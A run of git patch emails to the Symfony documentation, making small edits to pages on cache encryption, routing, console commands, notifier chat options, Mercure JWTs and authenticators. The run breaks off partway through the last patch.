Date: Sat, 5 Dec 2020 21:54:21 +0300
Subject: [PATCH 1566/7107] Changed iterable $forms to Traversable in the data
 mapper implementation example

---
 form/data_mappers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index f10d74813b0..24ff0716f5f 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -98,7 +98,7 @@ in your form type::
         /**
          * @param Color|null $viewData
          */
-        public function mapDataToForms($viewData, iterable $forms): void
+        public function mapDataToForms($viewData, \Traversable $forms): void
         {
             // there is no data yet, so nothing to prepopulate
             if (null === $viewData) {
@@ -119,7 +119,7 @@ in your form type::
             $forms['blue']->setData($viewData->getBlue());
         }
 
-        public function mapFormsToData(iterable $forms, &$viewData): void
+        public function mapFormsToData(\Traversable $forms, &$viewData): void
         {
             /** @var FormInterface[] $forms */
             $forms = iterator_to_array($forms);

From 4e4924e22d2a53d39be593d31e895947b1d8e892 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Sat, 5 Dec 2020 16:45:37 +0100
Subject: [PATCH 1567/7107] [Cache] Document cache encryption using
 SodiumMarshaller

---
 cache.rst | 83 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 83 insertions(+)

diff --git a/cache.rst b/cache.rst
index 58e3cd0b816..20d9af8999e 100644
--- a/cache.rst
+++ b/cache.rst
@@ -714,3 +714,86 @@ Clear all caches everywhere:
 .. code-block:: terminal
 
     $ php bin/console cache:pool:clear cache.global_clearer
+
+Encrypting the Cache
+--------------------
+
+.. versionadded:: 5.1
+
+    :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller` has been
+    introduced in Symfony 5.1.
+
+To encrypt the cache using ``libsodium``, you can use the
+:class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
+
+.. note::
+
+    This will encrypt the values of the cache items, but not the cache keys. Be
+    careful not the leak sensitive data in the keys.
+
+Generate a key:
+
+.. code-block:: terminal
+
+    $ php -r 'echo base64_encode(sodium_crypto_box_keypair());'
+
+And add it to your :doc:`secret store </configuration/secrets>` as
+``CACHE_DECRYPTION_KEY`` and enable the ``SodiumMarshaller``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/cache.yaml
+        services:
+            Symfony\Component\Cache\Marshaller\SodiumMarshaller:
+                decorates: cache.default_marshaller
+                arguments:
+                    - ['%env(base64:CACHE_DECRYPTION_KEY)%']
+                    # use multiple keys in order to rotate them
+                    #- ['%env(base64:CACHE_DECRYPTION_KEY)%', '%env(base64:OLD_CACHE_DECRYPTION_KEY)%']
+                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+
+    .. code-block:: xml
+
+        <!-- config/packages/cache.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="cache.default_marshaller">
+                    <argument>redis://localhost</argument>
+                    <argument type="collection">
+                        <argument>env(base64:CACHE_DECRYPTION_KEY)</argument>
+                        <!-- use multiple keys in order to rotate them -->
+                        <!-- argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument -->
+                    </argument>
+                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/cache.php
+        use Symfony\Component\Cache\Marshaller\SodiumMarshaller;
+
+        $container->register(SodiumMarshaller::class)
+            ->decorate('cache.default_marshaller')
+            ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)'])
+            // use multiple keys in order to rotate them
+            // ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
+            ->addArgument(service('@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'));
+
+To rotate your encryption keys but still be able to read existing cache entries,
+add the old encryption key to the service arguments. The first key will be used
+for reading and writing, and the additional key(s) will only be used for reading.
+
+Once all cache items encrypted with the old key have expired, you can remove
+`OLD_CACHE_DECRYPTION_KEY` completely.

From 54fdf7a0771a2ea5a49886bd6cda6a7595d76742 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 6 Dec 2020 12:16:03 +0100
Subject: [PATCH 1568/7107] [#14658] Minor tweaks to cache encryption section

---
 cache.rst | 45 ++++++++++++++++++++++++---------------------
 1 file changed, 24 insertions(+), 21 deletions(-)

diff --git a/cache.rst b/cache.rst
index 20d9af8999e..5f31c495e4b 100644
--- a/cache.rst
+++ b/cache.rst
@@ -720,31 +720,28 @@ Encrypting the Cache
 
 .. versionadded:: 5.1
 
-    :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller` has been
-    introduced in Symfony 5.1.
+    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
+    class was introduced in Symfony 5.1.
 
 To encrypt the cache using ``libsodium``, you can use the
 :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
 
-.. note::
-
-    This will encrypt the values of the cache items, but not the cache keys. Be
-    careful not the leak sensitive data in the keys.
-
-Generate a key:
+First, you need to generate a secure key and add it to your :doc:`secret
+store </configuration/secrets>` as ``CACHE_DECRYPTION_KEY``:
 
 .. code-block:: terminal
 
     $ php -r 'echo base64_encode(sodium_crypto_box_keypair());'
 
-And add it to your :doc:`secret store </configuration/secrets>` as
-``CACHE_DECRYPTION_KEY`` and enable the ``SodiumMarshaller``:
+Then, register the ``SodiumMarshaller`` service using this key:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/packages/cache.yaml
+
+        # ...
         services:
             Symfony\Component\Cache\Marshaller\SodiumMarshaller:
                 decorates: cache.default_marshaller
@@ -766,13 +763,14 @@ And add it to your :doc:`secret store </configuration/secrets>` as
                 http://symfony.com/schema/dic/symfony
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
+            <!-- ... -->
+
             <services>
                 <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="cache.default_marshaller">
-                    <argument>redis://localhost</argument>
                     <argument type="collection">
                         <argument>env(base64:CACHE_DECRYPTION_KEY)</argument>
                         <!-- use multiple keys in order to rotate them -->
-                        <!-- argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument -->
+                        <!-- <argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument> -->
                     </argument>
                     <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
                 </service>
@@ -783,17 +781,22 @@ And add it to your :doc:`secret store </configuration/secrets>` as
 
         // config/packages/cache.php
         use Symfony\Component\Cache\Marshaller\SodiumMarshaller;
+        use Symfony\Component\DependencyInjection\ChildDefinition;
+        use Symfony\Component\DependencyInjection\Reference;
 
-        $container->register(SodiumMarshaller::class)
-            ->decorate('cache.default_marshaller')
+        // ...
+        $container->setDefinition(SodiumMarshaller::class, new ChildDefinition('cache.default_marshaller'))
             ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)'])
             // use multiple keys in order to rotate them
-            // ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
-            ->addArgument(service('@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'));
+            //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
+            ->addArgument(new Reference(SodiumMarshaller::class.'.inner'));
 
-To rotate your encryption keys but still be able to read existing cache entries,
-add the old encryption key to the service arguments. The first key will be used
-for reading and writing, and the additional key(s) will only be used for reading.
+.. caution::
+
+    This will encrypt the values of the cache items, but not the cache keys. Be
+    careful not the leak sensitive data in the keys.
 
-Once all cache items encrypted with the old key have expired, you can remove
-`OLD_CACHE_DECRYPTION_KEY` completely.
+When configuring multiple keys, the first key will be used for reading and
+writing, and the additional key(s) will only be used for reading. Once all
+cache items encrypted with the old key have expired, you can remove
+``OLD_CACHE_DECRYPTION_KEY`` completely.

From e60cd0edd2ebd14a577ab18a9d404835c79dd2d2 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 4 Dec 2020 11:51:53 +0100
Subject: [PATCH 1569/7107] Added config reference for router.default_uri

---
 reference/configuration/framework.rst | 9 +++++++++
 routing.rst                           | 2 ++
 2 files changed, 11 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0780b49b0b9..833329a8d44 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -190,6 +190,7 @@ Configuration
 
 * `router`_
 
+  * `default_uri`_
   * `http_port`_
   * `https_port`_
   * `resource`_
@@ -1145,6 +1146,14 @@ The type of the resource to hint the loaders about the format. This isn't
 needed when you use the default routers with the expected file extensions
 (``.xml``, ``.yaml``, ``.php``).
 
+default_uri
+...........
+
+**type**: ``string``
+
+The default URI used to generate URLs in a non-HTTP context (see
+:ref:`Generating URLs in Commands <router-generate-urls-commands>`).
+
 http_port
 .........
 
diff --git a/routing.rst b/routing.rst
index e8f5bb91b83..ec6de557b5d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2055,6 +2055,8 @@ If you need to generate URLs dynamically or if you are using pure JavaScript
 code, this solution doesn't work. In those cases, consider using the
 `FOSJsRoutingBundle`_.
 
+.. _router-generate-urls-commands:
+
 Generating URLs in Commands
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 2ed719f9b47fdc5e87a3253d19f7a1f853de0c15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Dec 2020 08:24:35 +0100
Subject: [PATCH 1570/7107] Added the versionadded directive

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 833329a8d44..0e61184b6be 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1151,6 +1151,10 @@ default_uri
 
 **type**: ``string``
 
+.. versionadded:: 5.1
+
+    The ``default_uri`` option was introduced in Symfony 5.1.
+
 The default URI used to generate URLs in a non-HTTP context (see
 :ref:`Generating URLs in Commands <router-generate-urls-commands>`).
 

From e68926ff9c76c82081de84c515d71e85280e07d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Dec 2020 08:27:54 +0100
Subject: [PATCH 1571/7107] Reword

---
 event_dispatcher.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 03630c2e5f0..ed6740cc162 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -322,9 +322,9 @@ its name:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
-For the :doc:`new experimental Security </security/experimental_authenticators>`
-an event dispatcher per firewall was added. You can get the registered listeners
-for a particular event dispatcher by using the ``--dispatcher`` option:
+The :doc:`new experimental Security </security/experimental_authenticators>`
+system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
+get the registered listeners for a particular event dispatcher:
 
 .. code-block:: terminal
 

From 3f0bf94b2a5a93df1950fa06588777032e4f02c3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sat, 5 Dec 2020 17:28:42 +0100
Subject: [PATCH 1572/7107] [EventDispatcher] Show partial matching for
 debug:event-dispatcher

---
 event_dispatcher.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ed6740cc162..038a405b10b 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -322,6 +322,17 @@ its name:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
+or can get everything which partial matches the event name:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher kernel // matches "kernel.exception", "kernel.response" etc.
+    $ php bin/console debug:event-dispatcher Security // matches "Symfony\Component\Security\Http\Event\CheckPassportEvent"
+
+.. versionadded:: 5.3
+
+    The ability to match partial event names was introduced in Symfony 5.3.
+
 The :doc:`new experimental Security </security/experimental_authenticators>`
 system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
 get the registered listeners for a particular event dispatcher:

From 955674651cd6d2d5b0a09b56971c579917914cb5 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Mon, 16 Nov 2020 11:22:04 +0100
Subject: [PATCH 1573/7107] Update import.rst

---
 service_container/import.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index f38c2a33525..b37c8360388 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -80,7 +80,8 @@ a relative or absolute path to the imported file:
         # config/services.yaml
         imports:
             - { resource: services/mailer.yaml }
-
+            # If you want to import a whole directory:
+            - { resource: services/ }
         services:
             _defaults:
                 autowire: true
@@ -103,6 +104,8 @@ a relative or absolute path to the imported file:
 
             <imports>
                 <import resource="services/mailer.xml"/>
+                <!-- If you want to import a whole directory: -->
+                <import resource="services/"/>
             </imports>
 
             <services>
@@ -122,6 +125,8 @@ a relative or absolute path to the imported file:
 
         return function(ContainerConfigurator $configurator) {
             $configurator->import('services/mailer.php');
+            // If you want to import a whole directory:
+            $configurator->import('services/');
 
             $services = $configurator->services()
                 ->defaults()

From eef382cf8e70e69b481ee04feebe179a2de637e7 Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Mon, 26 Oct 2020 12:49:33 +0100
Subject: [PATCH 1574/7107] More explication for return into execute command
 function

---
 console.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index ad9bb8c16e6..663fafbfd9a 100644
--- a/console.rst
+++ b/console.rst
@@ -45,9 +45,16 @@ want a command to create a user::
 
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // ...
+            // ... put here the code to run in your command
+
+            // this method must return an integer number with the "exit status code"
+            // of the command.
 
+            // return this if there was no problem running the command
             return 0;
+
+            // or return this if some error happened during the execution
+            // return 1;
         }
     }
 

From 7a7cef829e307c27b48ebde8a7c135851a368329 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 11:51:31 +0100
Subject: [PATCH 1575/7107] minor. #14488

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 5df984705b6..9611ce94bfd 100644
--- a/console.rst
+++ b/console.rst
@@ -45,7 +45,7 @@ want a command to create a user::
 
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // ... put here the code to run in your command
+            // ... put here the code to create the user
 
             // this method must return an integer number with the "exit status code"
             // of the command.

From bd44d05db34f5c9b624cadbbdbd042e34bf23e10 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 12:03:43 +0100
Subject: [PATCH 1576/7107] minor

---
 notifier/chatters.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 40e9cea2096..1183de984d7 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -46,9 +46,9 @@ you to send messages to chat services like Slack or Telegram::
 Adding Interactions to a Slack Message
 --------------------------------------
 
-With a Slack message, you can use the 
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` to add
-some interactive options called `Block elements`_::
+With a Slack message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
+to add some interactive options called `Block elements`_::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;

From f62f89a054c59166adf51375501b120691b04bf7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 12:04:43 +0100
Subject: [PATCH 1577/7107] minor

---
 notifier/chatters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 50f3e5bc20f..4a10ad109d2 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -104,8 +104,8 @@ Adding Interactions to a Discord Message
 ----------------------------------------
 
 With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add
-some interactive options called `Embed elements`_::
+:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
+to add some interactive options called `Embed elements`_::
 
     use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
     use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;

From 25c651959497529779d3d2ec7ca0dae8744dd2c1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 12:10:03 +0100
Subject: [PATCH 1578/7107] Use constant over int. refs #14648

---
 console/lockable_trait.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 7745874a764..9c77073d087 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -38,8 +38,8 @@ that adds two convenient methods to lock and release commands::
             // if not released explicitly, Symfony releases the lock
             // automatically when the execution of the command ends
             $this->release();
-            
-            return 0;
+
+            return Command:SUCCESS;
         }
     }
 

From 33a699015263a9dac48c9ca77eb08bb426e0f9a8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 12:11:08 +0100
Subject: [PATCH 1579/7107] remove whitespaces

---
 console/lockable_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 74c4c2a5870..36cd393907c 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -38,7 +38,7 @@ that adds two convenient methods to lock and release commands::
             // if not released explicitly, Symfony releases the lock
             // automatically when the execution of the command ends
             $this->release();
-            
+
             return 0;
         }
     }

From 4239d4eb515786acdc698f302bc36339007a0ef5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 15:08:01 +0100
Subject: [PATCH 1580/7107] minor

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 25dd6b76924..18f39f1edd4 100644
--- a/console.rst
+++ b/console.rst
@@ -45,7 +45,7 @@ want a command to create a user::
 
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // ... put here the code to to create the user
+            // ... put here the code to create the user
 
             // this method must return an integer number with the "exit status code"
             // of the command. You can also use these constants to make code more readable

From 46d1f1ae56fbb04df4ff050e6efa9673fb5165de Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Renan=20Gon=C3=A7alves?= <renan.saddam@gmail.com>
Date: Mon, 7 Dec 2020 15:34:33 +0100
Subject: [PATCH 1581/7107] Support Redis Sentinel mode when using
 phpredis/phpredis extension

See https://github.com/symfony/symfony/pull/39363
---
 components/cache/adapters/redis_adapter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 64bf7ab9e4c..7846cde5200 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -95,8 +95,8 @@ Below are common examples of valid DSNs showing a combination of available value
     );
 
 `Redis Sentinel`_, which provides high availability for Redis, is also supported
-when using the Predis library. Use the ``redis_sentinel`` parameter to set the
-name of your service group::
+when using the PHP Redis Extension v5.2+ or the Predis library. Use the ``redis_sentinel``
+parameter to set the name of your service group::
 
     RedisAdapter::createConnection(
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'

From fb8dea5501e50386f7ed9d7e9d83750055a75540 Mon Sep 17 00:00:00 2001
From: Florent <73140597+flovrent@users.noreply.github.com>
Date: Mon, 7 Dec 2020 16:52:47 +0100
Subject: [PATCH 1582/7107] Update mercure.rst

---
 mercure.rst | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 8c0f52f8039..9222ddc68c5 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -408,7 +408,7 @@ And here is the controller::
     // src/Controller/DiscoverController.php
     namespace App\Controller;
 
-    use Lcobucci\JWT\Builder;
+    use Lcobucci\JWT\Configuration;
     use Lcobucci\JWT\Signer\Hmac\Sha256;
     use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
@@ -423,11 +423,14 @@ And here is the controller::
         {
             $hubUrl = $this->getParameter('mercure.default_hub');
             $this->addLink($request, new Link('mercure', $hubUrl));
-
-            $token = (new Builder())
-                // set other appropriate JWT claims, such as an expiration date
-                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe!
+            
+            $key = Key\InMemory::plainText('mercure_secret_key'); // don't forget to set this parameter! Test value: !ChangeMe!
+            $configuration = Configuration::forSymmetricSigner(new Sha256(), $key);
+            
+            $token = $configuration->builder()
+                                    ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
+                                    ->getToken($configuration->signer(), $configuration->signingKey())
+                                    ->toString();
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
             $cookie = Cookie::create('mercureAuthorization')

From 8c21f36cb139d30907404fa831fe1cd8e499fccf Mon Sep 17 00:00:00 2001
From: Julien Falque <julien.falque@gmail.com>
Date: Wed, 29 Jul 2020 18:35:18 +0200
Subject: [PATCH 1583/7107] Document routing inline requirements and defaults
 for host

---
 routing.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/routing.rst b/routing.rst
index d879feac6e3..39cb575ed8d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -790,6 +790,11 @@ concise, but it can decrease route readability when requirements are complex:
             // ...
         };
 
+.. versionadded:: 5.2
+
+    Since Symfony 5.2, inline parameter requirements are also supported in the
+    host. Before Symfony 5.2, they were supported in the path only.
+
 Optional Parameters
 ~~~~~~~~~~~~~~~~~~~
 
@@ -984,6 +989,11 @@ parameter:
     To give a ``null`` default value to any parameter, add nothing after the
     ``?`` character (e.g. ``/blog/{page?}``).
 
+.. versionadded:: 5.2
+
+    Since Symfony 5.2, inline parameter default values are also supported in
+    the host. Before Symfony 5.2, they were supported in the path only.
+
 Priority Parameter
 ~~~~~~~~~~~~~~~~~~
 

From 9408dd85c1f546095a539ab4188d4cb8cd441485 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Tue, 8 Dec 2020 10:49:50 +0100
Subject: [PATCH 1584/7107] Improve README

---
 README.markdown | 27 ++++++++++++++++++++-------
 1 file changed, 20 insertions(+), 7 deletions(-)

diff --git a/README.markdown b/README.markdown
index b993cd45ed4..f65392efba3 100644
--- a/README.markdown
+++ b/README.markdown
@@ -1,7 +1,20 @@
-Symfony Documentation
-=====================
-
-This documentation is rendered online at https://symfony.com/doc/current/
+<p align="center"><a href="https://symfony.com" target="_blank">
+  <img src="https://symfony.com/logos/symfony_black_02.svg">
+</a></p>
+
+<h3 align="center">
+  The official Symfony Documentation
+</h3>
+
+<p align="center">
+  <a href="https://symfony.com/doc/current/index.html">
+    Online version
+  </a>
+  <span> | </span>
+  <a href="https://symfonycasts.com">
+    Screencasts
+  </a>
+</p>
 
 Contributing
 ------------
@@ -11,8 +24,8 @@ Symfony documentation, please read
 [Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
 > **Note**
-> All pull requests must be based off of the **4.4** branch,
-> unless you're documenting a feature that was introduced *after* Symfony 4.4
+> All pull requests must be based on the ``4.4`` branch,
+> unless you are documenting a feature that was introduced *after* Symfony 4.4
 > (e.g. in Symfony 5.2), **not** the ``5.x`` or older branches.
 
 SymfonyCloud
@@ -24,7 +37,7 @@ server where Pull Requests are built and can be reviewed by contributors.
 Docker
 ------
 
-You can build the doc locally with these commands:
+You can build the documentation project locally with these commands:
 
 ```bash
 # build the image...

From 5238fff27e1b9740a3c85ef47c41915656e00d2a Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 7 Dec 2020 16:00:29 +0100
Subject: [PATCH 1585/7107] [PHPUnitBridge] Document the
 "symfony/deprecation-contracts"

---
 components/phpunit_bridge.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index d1888cd4f6e..284dae4d816 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -165,6 +165,9 @@ Deprecation notices can be triggered by using::
 
     @trigger_error('Your deprecation message', E_USER_DEPRECATED);
 
+You can also require the ``symfony/deprecation-contracts`` package that provides
+a global ``trigger_deprecation()`` function for this usage.
+
 Without the `@-silencing operator`_, users would need to opt-out from deprecation
 notices. Silencing by default swaps this behavior and allows users to opt-in
 when they are ready to cope with them (by adding a custom error handler like the

From d232aa9f524045720b2d6d1b114440911a3470c8 Mon Sep 17 00:00:00 2001
From: Peter Bottenberg <peter.bottenberg@isaac.nl>
Date: Fri, 30 Oct 2020 17:55:57 +0100
Subject: [PATCH 1586/7107] [Notifier] Add documentation for telegram options

---
 notifier/chatters.rst | 36 ++++++++++++++++++++++++++++++++++--
 1 file changed, 34 insertions(+), 2 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 9d03f83987c..764f05320a8 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -98,8 +98,6 @@ some interactive options called `Block elements`_::
 
     $chatter->send($chatMessage);
 
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
-
 Adding Interactions to a Discord Message
 ----------------------------------------
 
@@ -151,4 +149,38 @@ some interactive options called `Embed elements`_::
 
     $chatter->send($chatMessage);
 
+Adding Interactions to a Telegram Message
+-----------------------------------------
+
+With a Telegram message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
+to add `message options`_::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Telegram options
+    $telegramOptions = (new TelegramOptions())
+        ->chatId('@symfonynotifierdev')
+        ->parseMode('MarkdownV2')
+        ->disableWebPagePreview(true)
+        ->disableNotification(true)
+        ->replyMarkup((new InlineKeyboardMarkup())
+            ->inlineKeyboard([
+                (new InlineKeyboardButton('Visit symfony.com'))
+                    ->url('https://symfony.com/'),
+            ])
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($telegramOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
+.. _`message options`: https://core.telegram.org/bots/api

From 8cf987fceb64f0974e0e289a190f9951b1d2d01c Mon Sep 17 00:00:00 2001
From: Steven DUBOIS <symfony@duboiss.fr>
Date: Mon, 7 Dec 2020 18:09:06 +0100
Subject: [PATCH 1587/7107] Update experimental_authenticators : add UserBadge

---
 security/experimental_authenticators.rst | 36 +++++++++++++-----------
 1 file changed, 20 insertions(+), 16 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 382469c4566..2870eab1830 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -295,8 +295,8 @@ method that fits most use-cases::
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
     use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
     use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
 
@@ -328,14 +328,7 @@ method that fits most use-cases::
                 throw new CustomUserMessageAuthenticationException('No API token provided');
             }
 
-            $user = $this->entityManager->getRepository(User::class)
-                ->findOneBy(['apiToken' => $apiToken])
-            ;
-            if (null === $user) {
-                throw new UsernameNotFoundException();
-            }
-
-            return new SelfValidatingPassport($user);
